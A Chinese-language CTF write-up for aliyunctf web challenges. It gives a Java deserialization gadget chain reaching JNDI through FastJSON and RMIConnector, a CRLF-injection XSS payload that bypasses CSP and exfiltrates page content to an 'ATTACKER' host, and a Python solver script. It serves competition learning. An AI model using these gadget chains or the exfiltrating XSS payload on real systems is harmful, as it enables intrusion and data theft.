0%

aliyunctf web

ezBean

这题本来做出来了,但是本地一直没复现成功(不知道是不是fastjson1.2.60版本的原因)也没想着直接去打poc,就错失了300分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class test {
public static void setFieldValue(Object obj,String fieldname,Object value)throws
Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", String.valueOf(true));
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", String.valueOf(true));
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:1099/el");
System.out.println("URL: " + u + ", connecting");
RMIConnector c = new RMIConnector((JMXServiceURL)u, null);
MyBean templates = new MyBean();
setFieldValue(templates,"conn",c);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);


BadAttributeValueExpException val = new BadAttributeValueExpException(123);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

如果用fastjson 1.2.60版本跑这个payload就会报
RMIConnector没有无参构造函数这个错误,搞得我想找平替RMIConnector的类,要满足以下三点

  • 有connect()函数
  • 实现了JMXConnector接口
  • 有无参构造的函数

结果找了半天没找到
调用链如下,可以自己调试一下
BadAttributeValueExpException.readObject.toString -> FastJSON -> MyBean.getConnect -> RMIConnector.connect -> JNDI

obsidian

做题的时候一直以为是这个软件的rce,然后在那边绕过询问弹框,用
https://forum.obsidian.md/t/possible-remote-code-execution-through-obsidian-uri-scheme/39743
这个poc去打rce,打的时候还一直在思考如果是这样搞的话,那为什么还需要xss➕绕过csp,结果最后还真的不是😂
当时还脑抽着想为什么他访问我的云服务器没有cookie

接下来开始分析,破解suffix就不说了

crlf绕过csp加注入xss


那么直接在nodeid后面加crlf注入,加xss就可以绕过csp,并且获得setcookie
http://比赛ip/note/123123%0d%0aA:B%0d%0a%0d%0a%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E%0d%0a%0d%0a
上面的链接就可以进行弹窗,而且页面会显示

就是因为crlf把他本来的http响应弄成response text了
那么接下来就很明了了
http://比赛/note/123123%0d%0aA:B%0d%0a%0d%0a%3Cscript%3Efetch('%2Fblog').then((response)%20%3D%3E%20response.text()).then((data)%20%3D%3Ebtoa(data)).then((data)%20%3D%3Elocation.replace(%60http%3A%2F%2F+ip+%3A99%2F%3Fdata%3D%24%7Bdata%7D%60))%3C%2Fscript%3E%0d%0a%0d%0a
通过js注入

1
2
3
4
fetch('/blog')
.then((response) => response.text())
.then((data) => btoa(data))
.then((data) => location.replace(`http://ATTACKER/?data=${data}`))

OOBdetection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
import socket
import re
import hashlib
import math
# 设置目标服务器的IP地址和端口
ip_address = "47.98.209.191"
port = 1337

# 创建一个新的套接字(socket)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接到目标服务器
s.connect((ip_address, port))
data = s.recv(1024)
print("Received:", data.decode())

resp = data.decode()
matchs1 = re.match(r"sha256\(XXX(.*?)\)", resp)
code1 = matchs1.group(1).split(" ")[2].split(")")[0]
code2 = resp.split("==")[1].strip()
print("code1 : " + code1)
print("code2 : " + code2)
# 服务器提供的信息
target_hash = code2
salt = bytes.fromhex(code1)
data = s.recv(1024)
print("Received:", data.decode())

import re,os

class NonNegativeIndexList(list):
def __getitem__(self, index):
if isinstance(index, int) and index < 0:
raise IndexError("Index cannot be negative")
return super().__getitem__(index)

def __setitem__(self, index, value):
if isinstance(index, int) and index < 0:
raise IndexError("Index cannot be negative")
if index == None:
raise Exception
return super().__setitem__(index, value)


def c_to_python_syntax(c_code):
array_pattern = r"int\s+([a-zA-Z_][a-zA-Z0-9_]*)\s*\[([\sa-zA-Z0-9_+]*)\](?:\s*\[([\sa-zA-Z0-9_+]*)\])?;"
assignment_pattern = r"int\s+([a-zA-Z_][a-zA-Z0-9_]*)\s*=\s*([0-9]+);"

array_match = re.match(array_pattern, c_code)
assignment_match = re.match(assignment_pattern, c_code)

if array_match:
var_name = array_match.group(1)
first_dim = array_match.group(2)
second_dim = array_match.group(3)

if second_dim:
return f"{var_name} = NonNegativeIndexList([[None]*({second_dim})]*({first_dim}))"
else:
return f"{var_name} = NonNegativeIndexList([None]*({first_dim}))"
elif assignment_match:
var_name = assignment_match.group(1)
value = assignment_match.group(2)

return f"{var_name} = {value}"
else:
raise ValueError("Invalid C code provided")


def patch(input):
code_lines = input.split('\n')
for code_line in code_lines:
try:
if(code_line.find("int")!=-1):
if(code_line.find("[")!= -1):
exec(c_to_python_syntax(code_line))
continue
elif(code_line.find('=')!=-1):
exec(code_line.replace('int ',''))
else:
exec(code_line.replace('int ','').replace(';','')+'=None')
else:
exec(code_line) #TypeError(未初始化) IndexError(越界)
except TypeError as e:
if(e.args[0].find('list indices must be integers or slices')!=-1):
return "noboo"
return "unknown"
except:
return "boo"
return "noboo"


def ifboo(input):
code = patch(input) #补全代码
return code

def prfint(input):
input_lists = input.split('\n')
new_code = ''
for input_list in input_lists:
try:
if(input_list[-1] == ';'):
new_code += input_list+'\n'
except:
continue
return new_code


# 遍历所有可能的 XXX 值
for i in range(16 ** 6):
# 将 i 转换成 16 进制字符串,左侧填充 0 到 6 位
xxx_hex = hex(i)[2:].zfill(6)

# 计算哈希值
input_str = bytes.fromhex(xxx_hex) + salt
hash_obj = hashlib.sha256(input_str)
hash_hex = hash_obj.hexdigest()

# 如果哈希值匹配,则打印 XXX 值并退出循环
if hash_hex == target_hash:
print("Found XXX: {}".format(xxx_hex))
code = xxx_hex
break
s.sendall(code.encode()+b'\n')

i = 1
try:
while True:
# 接收来自服务器的数据(设定接收数据的最大字节数为1024)
print("TIMETIMETIME:::::"+str(i))
i+=1
data = s.recv(2048)
input = data.decode() #Your answer (safeb/unknown):
input_code = prfint(input)
print("Received:", data.decode())

boo = ifboo(input_code.replace('[ ','[').replace(' ]',']'))
if(boo=='boo'):
print('oob')
s.sendall(b'oob\n')
elif(boo=='noboo'):
print('safe')
s.sendall(b'safe\n')
elif(boo=='unknown'):
print('unknown')
s.sendall(b'unknown\n')
else:
print('oob')
s.sendall(b'oob\n')

data = s.recv(2048)
print("Received:", data.decode())
# 发送用户输入的数据到服务器
finally:
# 关闭套接字
s.close()
print("over!!!")

网上都是转成lark语法,我是转成了python语法,然后重载了列表,让他如果index<0了,就触发异常,满足c语言的语法,然后根据不同的异常信息去判断结果